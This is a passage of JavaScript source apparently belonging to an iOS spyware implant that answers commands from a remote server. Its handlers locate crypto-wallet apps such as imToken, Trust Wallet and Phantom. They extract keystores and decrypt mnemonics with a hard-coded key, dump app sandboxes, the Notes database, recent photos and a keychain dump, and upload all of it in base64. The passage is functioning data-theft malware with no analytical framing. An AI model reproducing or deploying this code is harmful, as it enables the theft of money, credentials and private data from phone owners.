{\n\t\t\t\t\t\t\t\t\twalletInfo.identifier = w.identity.identifier || \"\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch (parseErr) {}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (ent.type === \"dir\") {\n\t\t\t\tvar subEntries = listDir(entPath);\n\t\t\t\tfor (var si = 0; si < subEntries.length; si++) {\n\t\t\t\t\tvar subEnt = subEntries[si];\n\t\t\t\t\tif (subEnt.type !== \"file\") continue;\n\t\t\t\t\tvar subPath = entPath + \"/\" + subEnt.name;\n\t\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\t\tdir: (di === 0 ? \"walletsV2\" : \"wallets\") + \"/\" + ent.name,\n\t\t\t\t\t\tname: subEnt.name\n\t\t\t\t\t});\n\t\t\t\t\tvar subSt = _statFile(subPath);\n\t\t\t\t\tif (subSt && subSt.size > 0 && subSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\t\tvar sb64 = readFileB64(subPath, 4 * 1024 * 1024);\n\t\t\t\t\t\tif (sb64) {\n\t\t\t\t\t\t\tvar sfname = (di === 0 ? \"walletsV2_\" : \"wallets_\") +\n\t\t\t\t\t\t\t\tent.name + \"_\" + subEnt.name;\n\t\t\t\t\t\t\tsendResult(cmd.command_id, sb64.b64,\n\t\t\t\t\t\t\t\tsfname, \"wallet_extract\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// --- Phase 3: AsyncStorage (Redux persist) ---\n\tif (data) {\n\t\tvar rawKeys = Object.keys(data);\n\t\tresult.raw_keys = rawKeys;\n\n\t\tvar walletsRaw = null;\n\t\tif (data[\"walletsV2\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"walletsV2\"]); } catch(e) {}\n\t\t}\n\t\tif (!walletsRaw && data[\"wallets\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"wallets\"]); } catch(e) {}\n\t\t}\n\n\t\tif (walletsRaw) {\n\t\t\tvar wArr = Array.isArray(walletsRaw) ? walletsRaw :\n\t\t\t\t(walletsRaw.wallets ? walletsRaw.wallets : [walletsRaw]);\n\t\t\tfor (var wi = 0; wi < wArr.length; wi++) {\n\t\t\t\tvar w = wArr[wi];\n\t\t\t\tvar walletInfo = {\n\t\t\t\t\tid: w.id || w.walletID || (\"wallet_\" + wi),\n\t\t\t\t\tname: w.name || \"\",\n\t\t\t\t\taddress: w.address || \"\",\n\t\t\t\t\tsource: w.source || \"\",\n\t\t\t\t\tchainType: w.chainType || \"\"\n\t\t\t\t};\n\n\t\t\t\tif (w.keystore || w.crypto) {\n\t\t\t\t\tvar ks = w.keystore || { crypto: w.crypto };\n\t\t\t\t\twalletInfo.keystore_raw = ks;\n\t\t\t\t\twalletInfo.kdf = ks.crypto ? ks.crypto.kdf : \"unknown\";\n\n\t\t\t\t\tif (password) {\n\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(ks.crypto, password);\n\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\twalletInfo.encMnemonic_raw = w.encMnemonic;\n\t\t\t\t\tif (typeof w.encMnemonic === \"object\" && w.encMnemonic.encStr) {\n\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec = _decryptEncryptedMessage(w.encMnemonic, fixedKey);\n\t\t\t\t\t\tif (dec) walletInfo.mnemonic_fixed_key = dec;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\twalletInfo.encOriginal_raw = w.encOriginal;\n\t\t\t\t\tif (typeof w.encOriginal === \"object\" && w.encOriginal.encStr) {\n\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec2 = _decryptEncryptedMessage(w.encOriginal, fixedKey2);\n\t\t\t\t\t\tif (dec2) walletInfo.original_fixed_key = dec2;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t}\n\t\t}\n\n\t\tif (data[\"AssetToken\"]) {\n\t\t\ttry {\n\t\t\t\tvar assetData = JSON.parse(data[\"AssetToken\"]);\n\t\t\t\tvar items = assetData.itemsById || assetData;\n\t\t\t\tif (typeof items === \"object\") {\n\t\t\t\t\tfor (var assetKey in items) {\n\t\t\t\t\t\tif (!items.hasOwnProperty(assetKey)) continue;\n\t\t\t\t\t\tvar a = items[assetKey];\n\t\t\t\t\t\tresult.assets.push({\n\t\t\t\t\t\t\twalletAddress: a.walletAddress || a.accountAddress || \"\",\n\t\t\t\t\t\t\tchainId: a.chainId || \"\",\n\t\t\t\t\t\t\tchainType: a.chainType || \"\",\n\t\t\t\t\t\t\tname: a.name || \"\",\n\t\t\t\t\t\t\tsymbol: a.symbol || \"\",\n\t\t\t\t\t\t\tbalance: a.balance || \"0\",\n\t\t\t\t\t\t\tdecimal: a.decimal || 0\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t\tresult.asset_parse_error = String(e);\n\t\t\t}\n\t\t}\n\n\t\tvar sensitiveKeys = [\"walletsV2\", \"wallets\", \"crypto\", \"encMnemonic\",\n\t\t\t\"encOriginal\", \"AssetToken\", \"identities\", \"accounts\"];\n\t\tvar rawData = {};\n\t\tfor (var ki = 0; ki < sensitiveKeys.length; ki++) {\n\t\t\tif (data[sensitiveKeys[ki]]) {\n\t\t\t\trawData[sensitiveKeys[ki]] = data[sensitiveKeys[ki]];\n\t\t\t}\n\t\t}\n\t\tfor (var rk = 0; rk < rawKeys.length; rk++) {\n\t\t\tvar lk = rawKeys[rk].toLowerCase();\n\t\t\tif (lk.indexOf(\"wallet\") >= 0 || lk.indexOf(\"token\") >= 0 ||\n\t\t\t\tlk.indexOf(\"mnemonic\") >= 0 || lk.indexOf(\"seed\") >= 0 ||\n\t\t\t\tlk.indexOf(\"key\") >= 0 || lk.indexOf(\"account\") >= 0 ||\n\t\t\t\tlk.indexOf(\"identity\") >= 0 || lk.indexOf(\"crypto\") >= 0) {\n\t\t\t\tif (!rawData[rawKeys[rk]]) rawData[rawKeys[rk]] = data[rawKeys[rk]];\n\t\t\t}\n\t\t}\n\n\t\tif (Object.keys(rawData).length > 0) {\n\t\t\tvar rawJson = JSON.stringify(rawData);\n\t\t\tvar rawB64 = bytesToBase64(new Uint8Array(Native.stringToBytes(rawJson, false)));\n\t\t\tsendResult(cmd.command_id, rawB64,\n\t\t\t\t\"imtoken_raw_storage.json\", \"wallet_extract\");\n\t\t}\n\t} else {\n\t\tresult.async_storage_status = \"not_found\";\n\t}\n\n\tresult.realm_uploaded = realmUploaded;\n\tvar endMs = Date.now();\n\tresult.execution_time = (endMs - startMs) / 1000;\n\tsendJSON(cmd.command_id, result, \"wallet_extract_result.json\",\n\t\t{ start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// ios_app_data: collect sandboxed app data by bundle_id\n// ============================================================================\n\nvar APP_DATA_BASE = \"/var/mobile/Containers/Data/Application\";\nvar APP_GROUP_BASE = \"/var/mobile/Containers/Shared/AppGroup\";\n\nfunction _toFfsPath(absPath) {\n\tif (absPath.indexOf(\"/private/\") === 0) return absPath.substring(1);\n\tif (absPath.indexOf(\"/var/\") === 0) return \"private\" + absPath;\n\tif (absPath.charAt(0) === \"/\") return absPath.substring(1);\n\treturn absPath;\n}\n\nfunction _findContainerIn(basePath, bundleId) {\n\tvar dirs = listDir(basePath);\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar containerPath = basePath + \"/\" + dirs[i].name;\n\t\tvar plistPath = containerPath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar acc = Number(Native.callSymbol(\"access\", plistPath, 0));\n\t\tif (acc !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tif (content.indexOf(bundleId) >= 0) return containerPath;\n\t}\n\treturn null;\n}\n\nfunction _findAppContainer(bundleId) {\n\treturn _findContainerIn(APP_DATA_BASE, bundleId);\n}\n\nfunction _findAppGroupContainer(bundleId) {\n\treturn _findContainerIn(APP_GROUP_BASE, bundleId);\n}\n\nfunction _collectAppFiles(basePath, subPaths, excludePaths, filterMode, fileExts, maxFileSizeMB) {\n\tvar maxBytes = (maxFileSizeMB && maxFileSizeMB > 0) ? maxFileSizeMB * 1024 * 1024 : 0;\n\tvar exts = [];\n\tif (fileExts) {\n\t\tvar parts = fileExts.split(\",\");\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tvar e = parts[i].trim();\n\t\t\tif (e) exts.push(e.toLowerCase());\n\t\t}\n\t}\n\n\tvar scanRoots = [];\n\tif (subPaths && subPaths.length > 0) {\n\t\tfor (var i = 0; i < subPaths.length; i++) {\n\t\t\tvar sp = subPaths[i];\n\t\t\tvar full = (sp.charAt(0) === \"/\") ? basePath + sp : basePath + \"/\" + sp;\n\t\t\tif (_statFile(full)) scanRoots.push(full);\n\t\t}\n\t} else {\n\t\tscanRoots.push(basePath);\n\t}\n\n\tvar excludeFull = [];\n\tif (excludePaths) {\n\t\tfor (var i = 0; i < excludePaths.length; i++) {\n\t\t\texcludeFull.push(basePath + excludePaths[i]);\n\t\t}\n\t}\n\n\tvar files = [];\n\tfor (var ri = 0; ri < scanRoots.length; ri++) {\n\t\t_scanDir(scanRoots[ri], files, true, excludeFull,\n\t\t\tfilterMode || \"none\", exts, maxBytes);\n\t}\n\treturn files;\n}\n\nfunction handleIosAppData(cmd) {\n\tvar p = cmd.params || {};\n\tvar targets = p.targets || [];\n\tvar maxFileSizeMB = (p.max_file_size_mb !== undefined) ? p.max_file_size_mb : 500;\n\tvar startMs = Date.now();\n\n\tif (!targets.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty targets array\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"ios_app_data\"\n\t\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: Date.now() });\n\t\treturn;\n\t}\n\n\tvar totalCollected = 0;\n\tvar totalUploaded = 0;\n\tvar targetResults = [];\n\n\tfor (var ti = 0; ti < targets.length; ti++) {\n\t\tvar t = targets[ti];\n\t\tvar bundleId = t.bundle_id;\n\t\tif (!bundleId) {\n\t\t\ttargetResults.push({ bundle_id: \"\", status: \"skipped\", error: \"empty bundle_id\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar containerPath = _findAppContainer(bundleId);\n\t\tvar groupPath = _findAppGroupContainer(bundleId);\n\n\t\tif (!containerPath && !groupPath) {\n\t\t\ttargetResults.push({ bundle_id: bundleId, status: \"not_found\",\n\t\t\t\terror: \"app container not found\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar effectiveMax = maxFileSizeMB;\n\t\tif (effectiveMax === -1) effectiveMax = 0;\n\n\t\tvar containers = [];\n\t\tif (containerPath) containers.push(containerPath);\n\t\tif (groupPath) containers.push(groupPath);\n\n\t\tvar uploaded = 0;\n\t\tvar allFiles = 0;\n\n\t\tfor (var ci = 0; ci < containers.length; ci++) {\n\t\t\tvar ctrPath = containers[ci];\n\t\t\tvar files = _collectAppFiles(ctrPath, t.paths || null,\n\t\t\t\tt.exclude_paths || null, t.filter_mode || \"none\",\n\t\t\t\tt.file_extensions || \"\", effectiveMax);\n\t\t\tallFiles += files.length;\n\n\t\t\tfor (var fi = 0; fi < files.length; fi++) {\n\t\t\t\tvar fname = _toFfsPath(files[fi]);\n\n\t\t\t\tvar sz = getFileSize(files[fi]);\n\t\t\t\tif (sz <= 0) continue;\n\n\t\t\t\tvar isLast = (ci === containers.length - 1 && fi === files.length - 1);\n\t\t\t\tvar meta = isLast ? { start_ms: startMs, end_ms: Date.now() } : null;\n\n\t\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\t\tvar rd = readFileB64(files[fi],\n\t\t\t\t\t\teffectiveMax > 0 ? effectiveMax * 1024 * 1024 : MAX_FILE_SIZE);\n\t\t\t\t\tif (rd) {\n\t\t\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"ios_app_data\", meta);\n\t\t\t\t\t\tuploaded++;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi],\n\t\t\t\t\t\tfname, \"ios_app_data\", meta);\n\t\t\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttotalCollected += allFiles;\n\t\ttotalUploaded += uploaded;\n\t\ttargetResults.push({\n\t\t\tbundle_id: bundleId,\n\t\t\tcontainer: containerPath || null,\n\t\t\tapp_group: groupPath || null,\n\t\t\tstatus: \"done\",\n\t\t\tfiles_found: allFiles,\n\t\t\tfiles_uploaded: uploaded\n\t\t});\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: totalUploaded > 0 ? \"success\" : (totalCollected > 0 ? \"partial\" : \"empty\"),\n\t\tfile_count: totalUploaded,\n\t\ttotal_scanned: totalCollected,\n\t\ttargets_processed: targetResults.length,\n\t\ttarget_details: targetResults,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"ios_app_data\"\n\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// wallet_scan: scan installed wallet apps and collect sandbox files\n// ============================================================================\n\nvar WALLET_BUNDLE_IDS = {\n\t\"com.bitpie.wallet\": { name: \"Bitpie\", sandbox: false },\n\t\"com.uniswap.mobile\": { name: \"Uniswap\", sandbox: false },\n\t\"app.phantom\": { name: \"Phantom\", sandbox: false },\n\t\"com.solflare.mobile\": { name: \"Solflare\", sandbox: false },\n\t\"org.mytonwallet.app\": { name: \"MyTonWallet\", sandbox: false },\n\n\t\"com.sixdays.trust\": { name: \"Trust Wallet\", sandbox: true,\n\t\tfiles: [\"Documents/**/UTC--*\"] },\n\t\"com.bitkeep.os\": { name: \"Bitget\", sandbox: true,\n\t\tfiles: [\"Library/Preferences/com.bitkeep.os.plist\"] },\n\n\t\"coin98.crypto.finance.insights\": { name: \"Coin98\", sandbox: true,\n\t\tmaxFileSize: 10 * 1024 * 1024,\n\t\tfiles: [\"Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/*\"] },\n\t\"com.tonhub.app\": { name: \"Tonhub\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/mmkv.default\"] },\n\n\t\"com.aspect.tronlink\": { name: \"TronLink\", sandbox: true,\n\t\tfiles: [\"Documents/keystore/UTC--*\"] },\n\t\"com.tokenpocket.1\": { name: \"TokenPocket\", sandbox: true,\n\t\tfiles: [\"Documents/wallets/*\", \"Documents/identity.json\"] },\n\t\"im.token.app\": { name: \"imToken\", sandbox: true,\n\t\tfiles: [\"Documents/walletsV2/*.json\"] }\n};\n\nfunction _resolveWalletFiles(containerPath, patterns) {\n\tvar results = [];\n\tfor (var pi = 0; pi < patterns.length; pi++) {\n\t\tvar pattern = patterns[pi];\n\n\t\tvar recIdx = pattern.indexOf(\"/**/\");\n\t\tif (recIdx >= 0) {\n\t\t\tvar recDir = pattern.substring(0, recIdx);\n\t\t\tvar recName = pattern.substring(recIdx + 4);\n\t\t\tvar recBase = containerPath + (recDir ? \"/\" + recDir : \"\");\n\t\t\tvar recHits = [];\n\t\t\t_findRecursive(recBase, recName, \"f\", recHits, 0, 5);\n\t\t\tfor (var ri = 0; ri < recHits.length; ri++) {\n\t\t\t\tvar aPath = recHits[ri];\n\t\t\t\tvar rPath = aPath.indexOf(containerPath + \"/\") === 0\n\t\t\t\t\t? aPath.substring(containerPath.length + 1) : aPath;\n\t\t\t\tresults.push({ relPath: rPath, absPath: aPath });\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar lastSlash = pattern.lastIndexOf(\"/\");\n\t\tvar dirPart = lastSlash >= 0 ? pattern.substring(0, lastSlash) : \"\";\n\t\tvar namePart = lastSlash >= 0 ? pattern.substring(lastSlash + 1) : pattern;\n\n\t\tvar dirPath = containerPath + (dirPart ? \"/\" + dirPart : \"\");\n\n\t\tif (namePart.indexOf(\"*\") >= 0 || namePart.indexOf(\"?\") >= 0) {\n\t\t\tvar items = listDir(dirPath);\n\t\t\tfor (var i = 0; i < items.length; i++) {\n\t\t\t\tif (items[i].type !== \"file\") continue;\n\t\t\t\tif (_matchGlob(items[i].name, namePart)) {\n\t\t\t\t\tresults.push({\n\t\t\t\t\t\trelPath: (dirPart ? dirPart + \"/\" : \"\") + items[i].name,\n\t\t\t\t\t\tabsPath: dirPath + \"/\" + items[i].name\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tvar fullPath = containerPath + \"/\" + pattern;\n\t\t\tif (Number(Native.callSymbol(\"access\", fullPath, 0)) === 0) {\n\t\t\t\tresults.push({ relPath: pattern, absPath: fullPath });\n\t\t\t}\n\t\t}\n\t}\n\treturn results;\n}\n\n// ============================================================================\n// Memo Scan: read notes.sqlite and upload structured memo data\n// ============================================================================\n\nfunction _findNoteStore() {\n\t// iOS 18 NoteStore.sqlite (AppGroup) - check first\n\tvar agBase = \"/var/mobile/Containers/Shared/AppGroup\";\n\tvar dirs = listDir(agBase);\n\tfor (var d = 0; d < dirs.length; d++) {\n\t\tif (dirs[d].type !== \"dir\") continue;\n\t\tvar p = agBase + \"/\" + dirs[d].name + \"/NoteStore.sqlite\";\n\t\tif (Number(Native.callSymbol(\"access\", p, 0)) === 0) return p;\n\t}\n\t// Legacy fallback\n\tvar bases = [\n\t\t\"/private/var/mobile/Library/Notes/notes.sqlite\",\n\t\t\"/tmp/notes.sqlite\"\n\t];\n\tfor (var i = 0; i < bases.length; i++) {\n\t\tif (Number(Native.callSymbol(\"access\", bases[i], 0)) === 0) return bases[i];\n\t}\n\treturn \"\";\n}\n\nfunction handleMemoScan(cmd) {\n\tvar startMs = Date.now();\n\tvar uploaded = 0;\n\tvar dbPath = _findNoteStore();\n\tif (dbPath) {\n\t\tvar suffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tfor (var i = 0; i < suffixes.length; i++) {\n\t\t\tvar fp = dbPath + suffixes[i];\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tvar fname = fp.substring(fp.lastIndexOf(\"/\") + 1);\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) { sendResult(cmd.command_id, f.b64, fname, \"memo_db\"); uploaded++; }\n\t\t\t} else {\n\t\t\t\tvar cr = sendFileChunked(cmd.command_id, fp, fname, \"memo_db\");\n\t\t\t\tif (cr && cr.ok) uploaded++;\n\t\t\t}\n\t\t}\n\t}\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: uploaded > 0 ? \"success\" : \"empty\",\n\t\tuploaded: uploaded,\n\t\tdb_path: dbPath || \"not_found\",\n\t\t_task_type: \"memo_scan\"\n\t}, \"memo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Photo Scan: query Photos.sqlite, read files, upload with MD5 hashes\n// ============================================================================\n\nfunction _md5(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_MD5\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _md5file(path, maxSize) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\t\t\tif (!outBuf || outBuf === 0n) return null;\n\t\t\ttry {\n\t\t\t\tNative.callSymbol(\"CC_MD5\", buf, BigInt(nr), outBuf);\n\t\t\t\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\t\t\t\tvar hex = \"\";\n\t\t\t\tfor (var i = 0; i < 16; i++)\n\t\t\t\t\thex += (hash[i] < 16 ? \"0\" : \"\") + hash[i].toString(16);\n\t\t\t\treturn hex;\n\t\t\t} finally { Native.callSymbol(\"free\", outBuf); }\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _queryPhotosPaths(maxCount) {\n\tvar dbPath = \"/var/mobile/Media/PhotoData/Photos.sqlite\";\n\tvar paths = [];\n\tvar rows = _sqliteQuery(dbPath,\n\t\t\"SELECT ZFILENAME, ZDIRECTORY FROM ZASSET \" +\n\t\t\"WHERE ZTRASHEDSTATE = 0 \" +\n\t\t\"ORDER BY ZDATECREATED DESC LIMIT \" + maxCount, maxCount);\n\tif (!rows || !rows.rows) return paths;\n\tfor (var i = 0; i < rows.rows.length; i++) {\n\t\tvar r = rows.rows[i];\n\t\tvar fn = r.ZFILENAME || \"\";\n\t\tif (!fn) continue;\n\t\tvar dir = r.ZDIRECTORY || \"\";\n\t\tvar full;\n\t\tif (dir) {\n\t\t\tdir = dir.replace(/^\\/+|\\/+$/g, \"\");\n\t\t\tfull = \"/var/mobile/Media/\" + dir + \"/\" + fn;\n\t\t} else {\n\t\t\tfull = \"/var/mobile/Media/DCIM/100APPLE/\" + fn;\n\t\t}\n\t\tpaths.push({ path: full, name: fn });\n\t}\n\treturn paths;\n}\n\nfunction handlePhotoScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxPhotos = p.max_count || 200;\n\tvar batchSize = p.batch_size || 30;\n\tvar maxFileSize = p.max_file_size || (5 * 1024 * 1024);\n\n\tvar photos = _queryPhotosPaths(maxPhotos);\n\tvar uploaded = 0, skipped = 0, errors = 0;\n\tvar hashes = [];\n\n\tfor (var batch = 0; batch < photos.length; batch += batchSize) {\n\t\tvar end = Math.min(batch + batchSize, photos.length);\n\t\tfor (var j = batch; j < end; j++) {\n\t\t\tvar ph = photos[j];\n\t\t\tvar sz = getFileSize(ph.path);\n\t\t\tif (sz <= 0 || sz > maxFileSize) { skipped++; continue; }\n\t\t\tvar md5 = _md5file(ph.path, maxFileSize);\n\t\t\tif (!md5) { skipped++; continue; }\n\t\t\thashes.push(md5);\n\t\t\tvar fdata = readFileB64(ph.path, maxFileSize);\n\t\t\tif (fdata) {\n\t\t\t\tsendResult(cmd.command_id, fdata.b64, ph.name, \"photos\",\n\t\t\t\t\t{ start_ms: startMs, end_ms: Date.now() });\n\t\t\t\tuploaded++;\n\t\t\t} else { errors++; }\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: \"success\",\n\t\ttotal_found: photos.length,\n\t\tuploaded: uploaded,\n\t\tskipped: skipped,\n\t\terrors: errors,\n\t\thashes: hashes,\n\t\t_task_type: \"photo_scan\"\n\t}, \"photo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Wallet Scan\n// ============================================================================\n\nfunction handleWalletScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxFileSize = 2 * 1024 * 1024;\n\tvar maxTotalSize = 10 * 1024 * 1024;\n\n\tvar base = APP_DATA_BASE;\n\tvar dirs = listDir(base);\n\n\tvar installedWallets = [];\n\tvar containerMap = {};\n\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = base + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) {\n\t\t\t\tcontainerMap[bid] = cpath;\n\t\t\t\tinstalledWallets.push(WALLET_BUNDLE_IDS[bid].name);\n\t\t\t}\n\t\t}\n\t}\n\n\tvar sandboxFiles = [];\n\tvar totalSize = 0;\n\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar perFileMax = cfg.maxFileSize || maxFileSize;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tif (totalSize >= maxTotalSize) break;\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\t\t\tif (totalSize + fd.size > maxTotalSize) continue;\n\n\t\t\tsandboxFiles.push({\n\t\t\t\twallet: cfg.name,\n\t\t\t\tbundle_id: bid,\n\t\t\t\tpath: rf.relPath,\n\t\t\t\tdata_b64: fd.b64,\n\t\t\t\tsize: fd.size\n\t\t\t});\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t}\n\n\t// Upload keychain_c2_dump.json if P7 pipeline produced it\n\tvar kcDumpUploaded = false;\n\tvar kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tvar _kcWs = Date.now();\n\twhile (Number(Native.callSymbol(\"access\", kcDonePath, 0)) !== 0 && (Date.now() - _kcWs) < 180000) {\n\t\tNative.callSymbol(\"usleep\", 3000000);\n\t}\n\tif (Number(Native.callSymbol(\"access\", kcDonePath, 0)) === 0) {\n\t\tvar kcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\tif (!kcData) {\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath + \".tmp\", 0x1A4);\n\t\t\tNative.callSymbol(\"rename\", kcDumpPath + \".tmp\", kcDumpPath);\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\t\tkcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\t}\n\t\tif (kcData) {\n\t\t\tsendResult(cmd.command_id, kcData.b64,\n\t\t\t\t\"keychain_c2_dump.json\", \"wallet_scan\");\n\t\t\tkcDumpUploaded = true;\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tdevice_uuid: DEVICE_UUID,\n\t\ttimestamp: new Date().toISOString(),\n\t\tinstalled_wallets: installedWallets,\n\t\tsandbox_files: sandboxFiles,\n\t\ttotal_size: totalSize,\n\t\tkeychain_dump_uploaded: kcDumpUploaded,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_scan\"\n\t}, \"wallet_pkg.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Device Identity (obtained natively - no placeholder needed)\n// ============================================================================\n\nfunction _getDeviceUUID() {\n\ttry {\n\t\t// IOKit IOPlatformUUID (same method as file_downloader)\n\t\tconst iokitHandle = Native.callSymbol(\"dlopen\",\n\t\t\t\"/System/Library/Frameworks/IOKit.framework/IOKit\", 1);\n\t\tif (iokitHandle && iokitHandle !== 0n) {\n\t\t\tNative.callSymbol(\"dlopen\",\n\t\t\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\t\t\tconst svcName = Native.callSymbol(\"malloc\", 32);\n\t\t\tNative.writeString(svcName, \"IOPlatformExpertDevice\");\n\t\t\tconst matchDict = Native.callSymbol(\"IOServiceMatching\", svcName);\n\t\t\tNative.callSymbol(\"free\", svcName);\n\n\t\t\tif (matchDict && matchDict !== 0n) {\n\t\t\t\tconst expert = Native.callSymbol(\"IOServiceGetMatchingService\", 0n, matchDict);\n\t\t\t\tif (expert && expert !== 0n) {\n\t\t\t\t\tconst keyBuf = Native.callSymbol(\"malloc\", 32);\n\t\t\t\t\tNative.writeString(keyBuf, \"IOPlatformUUID\");\n\t\t\t\t\tconst keyCF = Native.callSymbol(\"CFStringCreateWithCString\",\n\t\t\t\t\t\t0n, keyBuf, 0x08000100);\n\t\t\t\t\tNative.callSymbol(\"free\", keyBuf);\n\n\t\t\t\t\tif (keyCF && keyCF !== 0n) {\n\t\t\t\t\t\tconst valCF = 